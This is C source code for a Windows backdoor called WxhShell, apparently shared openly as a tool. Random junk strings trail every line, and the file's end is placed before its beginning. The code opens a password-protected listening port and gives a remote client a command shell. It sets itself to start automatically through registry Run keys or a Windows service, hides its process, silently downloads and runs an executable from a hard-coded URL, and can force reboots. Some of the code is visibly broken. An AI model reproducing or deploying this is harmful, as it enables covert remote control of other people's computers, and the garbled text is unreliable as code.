    else { rjiHP;-t1  
    closesocket(wsh); Zhv%mUj~  
    ExitThread(0); -|^)8  
    } "&/2 @  
    break; g`Cv[Pq?at  
    } $/|) ,n  
  // 获取shell \y:48zd  
  case 's': { "oNl!<ep  
    CmdShell(wsh); UKZ )Boo  
    closesocket(wsh); z6l'v~\  
    ExitThread(0); s3nO"~tM  
    break; ;Vc|3  
  } In?#?:Q@&  
  // 退出 pqb`g@  
  case 'x': { QRK\74'uY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oQ,<Yx%E3  
    CloseIt(wsh); v*qbzW`  
    break; -aVC`  
    } ZZZ9C#hK^9  
  // 离开 7n.Oem  
  case 'q': {  .gmS1ju  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +0z7}u\x  
    closesocket(wsh); /5/gnp C  
    WSACleanup(); &Jb\}c}  
    exit(1); &^DVSVqs^  
    break; =EMB~i  
        } f+hHc8g  
  } );VuZsmi  
  } knYp"<qj  
'sH_^{V2  
  // 提示信息 S4 Uu/EX6S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dol{y=(3e  
} <$zhNu~  
  } M2|h.+[Q  
E/a2b(,Tg  
  return; pc0{  
} [2Zy~`*y{  
0QW=2rs  
// shell模块句柄 !rr,(!Ip?O  
int CmdShell(SOCKET sock) d?J&mLQ6  
{ ;>jEeIlT  
STARTUPINFO si; o h\$u5  
ZeroMemory(&si,sizeof(si)); %+Ze$c}X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iq4B%xo6G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }.E^_`  
PROCESS_INFORMATION ProcessInfo; ,0,FzxX0!  
char cmdline[]="cmd"; dH;2OWM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AQ@)'  
  return 0; rvy%8%e?  
} qf\W,SM  
?.%dQ0  
// 自身启动模式 r>FwJm!  
int StartFromService(void) ]S[/ a  
{ .4[3r[  
typedef struct 9l &q}  
{ gee~>l  
  DWORD ExitStatus; m<-!~ ew  
  DWORD PebBaseAddress; Sk>=C0f:  
  DWORD AffinityMask; !pw )sO~  
  DWORD BasePriority; Vi-Ph;6[  
  ULONG UniqueProcessId; f+uyO7  
  ULONG InheritedFromUniqueProcessId; $1|E(d1  
}   PROCESS_BASIC_INFORMATION; Vez8 ~r3  
N;'c4=M~(  
PROCNTQSIP NtQueryInformationProcess;  jK]1X8  
2{63:f1c`'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cI\[)5&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z5]6"v -  
8I/3T  
  HANDLE             hProcess; +71<B>L   
  PROCESS_BASIC_INFORMATION pbi; qc @cd i  
0LH6G[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wCNn/%C  
  if(NULL == hInst ) return 0; I ]ZZN6"  
*YeQC t-l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;Go^)bN ;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S\8v)|Pr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eN,9N]K  
2vjkThh`I  
  if (!NtQueryInformationProcess) return 0; ?#=xx.cF  
6d6cZGS[:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )w M%Ul<s  
  if(!hProcess) return 0; McasnjC  
b-VygLN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +|obU9M  
e !jy6 t  
  CloseHandle(hProcess); =b:XL#VA  
 'Y)aGH(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yj&GJuNb~  
if(hProcess==NULL) return 0; s<F*kLib  
Zyz#xMmM  
HMODULE hMod; {+WY,%e  
char procName[255]; e6j1Fa9  
unsigned long cbNeeded; #Z2 'Y[@.  
/Rq\Mgb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "x=\mA#`  
.A<Hk1(-)  
  CloseHandle(hProcess); t!qLgJ5%y  
%}9tU>?F#  
if(strstr(procName,"services")) return 1; // 以服务启动 {V QGfN  
f_S$CFa@  
  return 0; // 注册表启动 6Bjo9,L  
} }OAU5P!rp  
hbx4[Pf  
// 主模块 Cj8&wz}ez  
int StartWxhshell(LPSTR lpCmdLine) `w:kY9  
{ 9hIKx:XCg  
  SOCKET wsl; Ldz]FB|  
BOOL val=TRUE; WDIin6u-  
  int port=0; -/JEKw c  
  struct sockaddr_in door; fYk>LW  
W7!gD  
  if(wscfg.ws_autoins) Install(); '37 {$VHw  
J#Hh4Kc  
port=atoi(lpCmdLine); ~T RC-H  
uH9Vj<E$K  
if(port<=0) port=wscfg.ws_port; O0qG 6a  
/Pg)7Zn  
  WSADATA data; r/!,((Z\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n]IF`kYQV  
}Kgi!$<aQx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~o^|>]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H:~p5t  
  door.sin_family = AF_INET; CwX?%$S   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G)?*BH  
  door.sin_port = htons(port); J.1 c,@  
R xITMt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |"SZpx  
closesocket(wsl); +QFKaS<sn  
return 1; !+PrgIp>  
} dRron_'  
Jj \ nye+  
  if(listen(wsl,2) == INVALID_SOCKET) { hUlRtt  
closesocket(wsl); Zt3sU_  
return 1; _C/|<Ot:  
} M?h{'$T  
  Wxhshell(wsl); G7 UUx+X  
  WSACleanup(); 8IlUbj  
$?PI>9g!  
return 0; ?l9sj]^w  
XZ |L D#  
} ]AY 4bm  
Ww-x+U\l  
// 以NT服务方式启动 ..8t1+S6]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k2D*`\ D  
{ tw$EwNI[  
DWORD   status = 0; J=3{<Xl  
  DWORD   specificError = 0xfffffff; 4P3RRS  
_s^tL2Pc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h.vy SwF"j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uy<3B>3~.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; utZI'5i  
  serviceStatus.dwWin32ExitCode     = 0; ;-u]@35  
  serviceStatus.dwServiceSpecificExitCode = 0; Mgw#4LU  
  serviceStatus.dwCheckPoint       = 0; 1 7~Pc  
  serviceStatus.dwWaitHint       = 0; ,zoHmV1Wd+  
}+KM"+@$<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F|F0#HC ?  
  if (hServiceStatusHandle==0) return; yQrgOdo,w  
< c^'$  
status = GetLastError();  BjH|E@z  
  if (status!=NO_ERROR) aH6j,R%  
{ fS4foMI63)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }h;Z_XF&  
    serviceStatus.dwCheckPoint       = 0; -NwG' U~  
    serviceStatus.dwWaitHint       = 0; ` 7iA?;  
    serviceStatus.dwWin32ExitCode     = status; %Y ZC dS  
    serviceStatus.dwServiceSpecificExitCode = specificError; fxcE1=a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F-3=eKZ  
    return; *1dZs~_  
  } W8g13oAu"  
1-p#}VX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SSF:PTeG>  
  serviceStatus.dwCheckPoint       = 0; i`sZP#h  
  serviceStatus.dwWaitHint       = 0; MM32\}Y6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :5~Dca_iU4  
} 1/9*c *w  
:(~<BiqR(  
// 处理NT服务事件,比如:启动、停止 `C>h]H(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pqO3(2F9  
{ F\JS?zt2  
switch(fdwControl) %DiQTg7V,  
{ i 7]o[  
case SERVICE_CONTROL_STOP: AJ/Hw>>$?m  
  serviceStatus.dwWin32ExitCode = 0; w@-G_-6W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @JlT*:Dz  
  serviceStatus.dwCheckPoint   = 0; )isS^O$qH  
  serviceStatus.dwWaitHint     = 0; M]5l-i$  
  { oi0O4J%H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vl1.]'p_  
  } VzSkqWF/"  
  return; lD$s, hp  
case SERVICE_CONTROL_PAUSE: \>:t={>;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ye On   
  break; J8~hIy6]  
case SERVICE_CONTROL_CONTINUE: hD5@PeLh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GcRH$,<XG  
  break; {O _X/y~  
case SERVICE_CONTROL_INTERROGATE: 'Q E8  
  break; X]}ai5  
}; I '0[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *x8~}/[T(F  
} TYuP EVEXZ  
ph6/+[:  
// 标准应用程序主函数 qY-aR;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :/(G#ZaV  
{ O;VqrO  
-btNwE6[.  
// 获取操作系统版本 TE&E f$h  
OsIsNt=GetOsVer(); rrU(>jA!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Yj6 |`  
v>K|hH  
  // 从命令行安装 ;0WAfu}#H  
  if(strpbrk(lpCmdLine,"iI")) Install(); <T7@,_T  
S<]k0bC  
  // 下载执行文件 ^r}Uu~A>  
if(wscfg.ws_downexe) { ek)rsxf1A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TSFrv8L  
  WinExec(wscfg.ws_filenam,SW_HIDE); BMAWjEr  
} i-0 :Fs  
`P\H{  
if(!OsIsNt) { `{YOl\d_  
// 如果时win9x,隐藏进程并且设置为注册表启动 X#axCDM-  
HideProc(); EO+Ix7w  
StartWxhshell(lpCmdLine); 3\ajnd|  
} %rs2{Q2k  
else uvl91~&G  
  if(StartFromService()) @GAj%MK$  
  // 以服务方式启动 ;L87 %P(.  
  StartServiceCtrlDispatcher(DispatchTable); s8(Z&pQ  
else $!G|+OuTR  
  // 普通方式启动 umP nw  
  StartWxhshell(lpCmdLine); !"phz&E5ah  
}%wP^6G*x\  
return 0; ^e "4@O"  
} ,eebO~7vB  
\|X 1  
#p=+RTZ<  
%+/v")8+?  
=========================================== 1<x5{/CZ  
 e#5WX  
j\KOKvY)  
v0WB.`rO  
u@D5SkT  
X ([^i;mr  
" 3 a(SmM:  
A["6dbvv  
#include <stdio.h> GAH<  
#include <string.h> uu4! e{K  
#include <windows.h> FBP # _"z  
#include <winsock2.h> @I Y<i5(  
#include <winsvc.h> Flpl,|n a  
#include <urlmon.h> ST#)Fl  
zk70D_}L  
#pragma comment (lib, "Ws2_32.lib") vyc<RjS_x  
#pragma comment (lib, "urlmon.lib") d<?Zaehe\  
:OU(fz]  
#define MAX_USER   100 // 最大客户端连接数 T:Q+ Z }v+  
#define BUF_SOCK   200 // sock buffer "nJMS6HJ[  
#define KEY_BUFF   255 // 输入 buffer uR")@Tc  
sfG9R"  
#define REBOOT     0   // 重启 LU*mR{B  
#define SHUTDOWN   1   // 关机 vIi&D;  
QN;NuDHN  
#define DEF_PORT   5000 // 监听端口 oVuIHb0w  
5Mxl({oI]  
#define REG_LEN     16   // 注册表键长度 cJT_Qfxx  
#define SVC_LEN     80   // NT服务名长度 %\v  
#\F8(lZ  
// 从dll定义API 9[{q5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F9w2+z.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o}36bi{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z 4. |N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f3,Xb ]h  
k"dE?v\cG  
// wxhshell配置信息 iw(`7(*  
struct WSCFG { 8f?o?c|  
  int ws_port;         // 监听端口 ~Gg19x.#uW  
  char ws_passstr[REG_LEN]; // 口令 Rp zuSh  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6EWCJ%_  
  char ws_regname[REG_LEN]; // 注册表键名 9 [E/^  
  char ws_svcname[REG_LEN]; // 服务名 WFug-#;e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V!e`P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DS|x*w'I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ieEt C,U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ENYc.$ r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w0>5#j q#r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f:t5`c.  
6(Cjak+~!  
}; f b8xs<  
K/(Z\lL  
// default Wxhshell configuration T/L\|_:'  
struct WSCFG wscfg={DEF_PORT, ^y&2N  
    "xuhuanlingzhe", kYS\TMt,C  
    1, u8~5e  
    "Wxhshell", UBwYwm0  
    "Wxhshell", BhyLcUBuB  
            "WxhShell Service", Pw Amnk !  
    "Wrsky Windows CmdShell Service", W.7u6F`  
    "Please Input Your Password: ", h 1j1PRE  
  1, aIfB^M*c5  
  "http://www.wrsky.com/wxhshell.exe", w `M/0.)V  
  "Wxhshell.exe" IxlPpS9Wx  
    }; huin?,eGz  
2JHF*zvO-  
// 消息定义模块 Y^?PHz'Go  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R'1"`@f G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :OaGdL   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zg])uM]\2i  
char *msg_ws_ext="\n\rExit."; Q|Pm8{8  
char *msg_ws_end="\n\rQuit."; dI,H:g  
char *msg_ws_boot="\n\rReboot..."; G~lnX^46"  
char *msg_ws_poff="\n\rShutdown..."; Fw#wVs)@:  
char *msg_ws_down="\n\rSave to "; [/cJc%{N  
]%5gPfv[T  
char *msg_ws_err="\n\rErr!"; 2Q/V D,yU  
char *msg_ws_ok="\n\rOK!"; WdrMp  
B8-Y)u1G  
char ExeFile[MAX_PATH]; MIv,$  
int nUser = 0; 2IDn4<`  
HANDLE handles[MAX_USER]; P_N},Xry  
int OsIsNt; \cAifU  
,+g0#8?p^x  
SERVICE_STATUS       serviceStatus; sMw"C~XL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }Oy/F  
>F!X'#Iv  
// 函数声明 ~;uW) [  
int Install(void); 0c#|LF_  
int Uninstall(void); X`}4=>  
int DownloadFile(char *sURL, SOCKET wsh); wlX K2D  
int Boot(int flag); M<)Vtn  
void HideProc(void); 6;\Tps;A  
int GetOsVer(void); hcD.-(-;)  
int Wxhshell(SOCKET wsl);  YP}r15P  
void TalkWithClient(void *cs); )% ?SWuS?N  
int CmdShell(SOCKET sock); u z>V  
int StartFromService(void); *5'l"YQ@1  
int StartWxhshell(LPSTR lpCmdLine); Su`] ku'  
Fc"+L+h@W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  O6!:Qd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EO.}{1m=hx  
x8h=3e$  
// 数据结构和表定义 FiNB$A  
SERVICE_TABLE_ENTRY DispatchTable[] = rOq>jvy  
{ $-]PD`wmY  
{wscfg.ws_svcname, NTServiceMain}, fPsUIlI/A  
{NULL, NULL} CY.i0  
}; v/C*?/ ~  
^$\#aTyFK  
// 自我安装 {[FJkP2l  
int Install(void) V^p XbDRl  
{ q/\Hh9`  
  char svExeFile[MAX_PATH]; \E:l E/y  
  HKEY key; '#Y[(5  
  strcpy(svExeFile,ExeFile); Ds%~J  
Js8d{\0\  
// 如果是win9x系统,修改注册表设为自启动 T ;JA.=I  
if(!OsIsNt) { F|W(_llfM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :j!N7c{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +QFY. >KH  
  RegCloseKey(key); T_?,?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;!N_8{ 7r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RjQdlr6*  
  RegCloseKey(key); V}"w8i+D?  
  return 0; >!2d77I  
    } N u9+b"Wr  
  } fyt`$y_E[  
} N]@e7P'9F  
else { 'WQ<|(:{  
|-k~Fa  
// 如果是NT以上系统,安装为系统服务 EPwM+#|e-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s av  
if (schSCManager!=0) aruT eJF  
{ 0--0+?  
  SC_HANDLE schService = CreateService FZhjI 8+,~  
  ( !_UBw7Zm  
  schSCManager, P&]PJt5  
  wscfg.ws_svcname, I!-5 #bxD  
  wscfg.ws_svcdisp, h/F,D_O>ZO  
  SERVICE_ALL_ACCESS, ;F'/[l{+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;*EPAC+  
  SERVICE_AUTO_START, lvZ:Aw r  
  SERVICE_ERROR_NORMAL, t12 xPtN1  
  svExeFile, o.H(&ex|  
  NULL, oT27BK26?h  
  NULL, p=U5qM.O  
  NULL, 0E#3XhU  
  NULL, s;-%Dfn  
  NULL \?.Tq24  
  ); @#5PPXp  
  if (schService!=0) u~a@:D/F{G  
  { HGRH9W  
  CloseServiceHandle(schService); 6*H F`@(  
  CloseServiceHandle(schSCManager); `JL&x|q o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |F#L{=B  
  strcat(svExeFile,wscfg.ws_svcname); t{)J#8:g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CK+_T}+-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gcf EJN4'  
  RegCloseKey(key); (t)a u  
  return 0; K2R[u#Q  
    } {n>W8sN<  
  } pI|H9  
  CloseServiceHandle(schSCManager); BWN[>H %S  
} S7 Tem:/  
} 2r=A'  
d4zqLD$A  
return 1; ^d2bl,1  
} T&`H )o  
*aF<#m v  
// 自我卸载 :X6A9jmd  
int Uninstall(void) _n+./ B  
{ #e8NF,H5  
  HKEY key; KzC`*U[  
;ywQk| r  
if(!OsIsNt) { 7o]p0iLej  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  /P/S0  
  RegDeleteValue(key,wscfg.ws_regname); Ug^v ]B9  
  RegCloseKey(key); "xV9$m>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &N! ;d E  
  RegDeleteValue(key,wscfg.ws_regname); [!E8C9Q#!  
  RegCloseKey(key); LMvsYc~]q  
  return 0; yXx}'=&!0  
  } Qm\VZ<6/5  
} i`1QR@11  
} G6b\4}E  
else { n3kYVAgF  
M6J/S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CL$mK5u  
if (schSCManager!=0) tCdgtZm  
{ :8~*NSEFd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3[L)q2;}$N  
  if (schService!=0) "K8<X  
  { 5b9>a5j1;  
  if(DeleteService(schService)!=0) { )'RLK4l  
  CloseServiceHandle(schService); zF[>K4  
  CloseServiceHandle(schSCManager); zV }-_u.  
  return 0; An e.sS  
  } i+V4_`  
  CloseServiceHandle(schService); 3wBc`vJ!  
  } sc! e$@U  
  CloseServiceHandle(schSCManager); v* nX  
} E30VKh |  
} J !:ss  
Iz#h:O  
return 1; (Js'(tBhiU  
} hD>O LoO  
^xGdRa U#  
// 从指定url下载文件 ;ml;{<jI  
int DownloadFile(char *sURL, SOCKET wsh) )up!W4h6o  
{ e FPDW;  
  HRESULT hr; 4V7{5:oa  
char seps[]= "/"; `q 4%  
char *token; <o_H]c->  
char *file; @Kd lX>i  
char myURL[MAX_PATH]; Cp_YIcnEJ  
char myFILE[MAX_PATH];  @GYM4T  
:LL>C)(f  
strcpy(myURL,sURL); TWC^M{e  
  token=strtok(myURL,seps); ^zv28Wq>  
  while(token!=NULL) Pv`^#BX'  
  { m(Cn'@i`"0  
    file=token; $ #C$V>  
  token=strtok(NULL,seps); ) tGC&l+?/  
  } o(. PxcD  
V$wf;v0d(  
GetCurrentDirectory(MAX_PATH,myFILE); ?.:C+*+  
strcat(myFILE, "\\"); bQ=R,  
strcat(myFILE, file); 1_7}B4  
  send(wsh,myFILE,strlen(myFILE),0); ]OoqU-q  
send(wsh,"...",3,0); Aov=qLWJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u8*Uia*vwH  
  if(hr==S_OK) t`DoTb4  
return 0; '(kySf[  
else 6M"]p  
return 1; h{]l?6`  
i%M2(8&^Q  
} ~PUz/^^ s  
>sP-)ZeuU[  
// 系统电源模块 33\{S$p  
int Boot(int flag) \HDRr*KO  
{ Y>+\:O  
  HANDLE hToken; 6P' m0  
  TOKEN_PRIVILEGES tkp; <3QE3;4  
tWi@_Rlx;  
  if(OsIsNt) { k[N46=u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i+&*W{Re  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "6n~, $  
    tkp.PrivilegeCount = 1; Pb.-Z@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A8OV3h6]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S*:b\{[f>  
if(flag==REBOOT) { Q^8C*ekfg!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v"L<{HN  
  return 0; 2Ni$ (`"  
} Jjz:-Uqq2  
else { "qb3\0O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xv9Z~JwH  
  return 0; c{j0A;XMS  
} H~@E&qd  
  } @R?S-*o  
  else { OFCOMM  
if(flag==REBOOT) { X LPO_ tD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "!gd)^<e  
  return 0; L&lNpMT  
} i7}) VDsZ  
else { u(SdjLf:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;y?,myO  
  return 0; jj#K[@u  
} v\t$. _at  
} LI?rz<H!D  
oa+Rr&t'  
return 1; 0?ZJJdI3  
} _ 9Tv*@  
5-bd1!o  
// win9x进程隐藏模块 *;O$=PE  
void HideProc(void) ;*+jCL 2F  
{ /+Xv( B  
?T70C9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (hVhzw"~  
  if ( hKernel != NULL ) u|=_!$8  
  { `Y/DttjL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )oa6;=go  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); APuG8 <R,  
    FreeLibrary(hKernel); B[Uvj~g  
  } 0W9,uC2:N  
G6Z2[Ej1  
return; 4_`+&  
} .-[UHO05^8  
*:3flJt  
// 获取操作系统版本 y-{^L`%Mk  
int GetOsVer(void) GLt#]I"LY  
{ j"/i+r{"E  
  OSVERSIONINFO winfo; )=;0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); on+ c*#  
  GetVersionEx(&winfo); BULX*eOt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4W~pAruwr  
  return 1; Uw5z]Jck  
  else nvxftbfE^D  
  return 0; %K /=7  
} mT>56\63  
x9~d_>'A  
// 客户端句柄模块 7f'9Dm`  
int Wxhshell(SOCKET wsl) O(h4;'/E  
{ X&t)S?eCos  
  SOCKET wsh; 2Q)"~3  
  struct sockaddr_in client; y:D|U!o2V  
  DWORD myID; *8fnxWR   
@P4fR7  
  while(nUser<MAX_USER) Tl%#N"  
{ :p(3Ap2TY  
  int nSize=sizeof(client); gc7S_D~;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MMD4b}p  
  if(wsh==INVALID_SOCKET) return 1; 3.?PdK&C  
Ej ip%m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4\Y2{Z>P?  
if(handles[nUser]==0) b|wCR%  
  closesocket(wsh); _NA0$bGN9  
else GrW+P[j9  
  nUser++; .#6Dad=S*  
  } AIF?+i%H}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fEWS3`Yy  
r~z-l,  
  return 0; 1fm\5/}'`1  
} x;l\#x/<  
"ZNiTND  
// 关闭 socket P(d4~hS  
void CloseIt(SOCKET wsh) ^{_`jE  
{ <jQ?l% \  
closesocket(wsh); 9@#Z6[=R,  
nUser--; u}JL*}Q  
ExitThread(0); v}IkY  
} ngcXS2S_  
?3Se=7 k  
// 客户端请求句柄 j>+x|!k  
void TalkWithClient(void *cs) +T+f``RcK  
{ =E8lpN'  
g9H~\w  
  SOCKET wsh=(SOCKET)cs; Ix^xL+Tm  
  char pwd[SVC_LEN]; j Aw&5,  
  char cmd[KEY_BUFF]; B5IS-d  
char chr[1]; B8'" ^a^&-  
int i,j; +eZR._&0  
MZB0vdx  
  while (nUser < MAX_USER) { f[HhLAVGK`  
}L{en  
if(wscfg.ws_passstr) { z"u4t.KpL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m\__Fl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =GTltFqI1  
  //ZeroMemory(pwd,KEY_BUFF); GNA:|x  
      i=0; Rgw\qOb  
  while(i<SVC_LEN) { |rka/_  
>lU[ lf+/  
  // 设置超时 4iBp!k7  
  fd_set FdRead; ;WC]Lf<Z^  
  struct timeval TimeOut; 29 L~SMf  
  FD_ZERO(&FdRead); r+217fS>  
  FD_SET(wsh,&FdRead); KcglpKV`  
  TimeOut.tv_sec=8; E5UI  
  TimeOut.tv_usec=0; zy~vw6vu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ji="vs=y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~&[Wqn@MZ  
Aj#CB.y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d,CtlWp  
  pwd=chr[0]; xN:ih*+,v  
  if(chr[0]==0xd || chr[0]==0xa) { DKAqQ?fS  
  pwd=0; "D'A7DA  
  break; K3$83%E  
  } p3`'i  
  i++; P}KN*Hn.  
    } 5vj;lJKcd`  
iv2did4  
  // 如果是非法用户,关闭 socket x'{L%c>L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )C5<puh  
} N0oBtGb  
t>.mB@se|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  `@b+'L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ykH?;Xu  
Eg-3GkC  
while(1) { B\wH`5/KW  
7c1xB.g   
  ZeroMemory(cmd,KEY_BUFF); Cb7f-Eag  
tI|?k(D  
      // 自动支持客户端 telnet标准   K4YpE}]u  
  j=0; 'due'|#^  
  while(j<KEY_BUFF) {  $J>GCY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dkt'~  
  cmd[j]=chr[0]; Mf Dna>,Y  
  if(chr[0]==0xa || chr[0]==0xd) { w,cfSF;=tC  
  cmd[j]=0; .8S6;xnkC  
  break; NOLw119K  
  } 47ra`*  
  j++; _nOJ.G  
    } OW- [#r  
1-r# v  
  // 下载文件 o_p#sdt"  
  if(strstr(cmd,"http://")) { S H2|xn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r t@Jw]az  
  if(DownloadFile(cmd,wsh)) fpJM)HU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vyP3]+n  
  else w>>)3:Ytd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dR<sBYo  
  } >!MOgLO3  
  else { n#[-1 (P  
k3h,c;  
    switch(cmd[0]) { l5F>v!NA  
  D]S@U>]M!  
  // 帮助 _]a8lr+_-  
  case '?': { ;,![Lar5L  
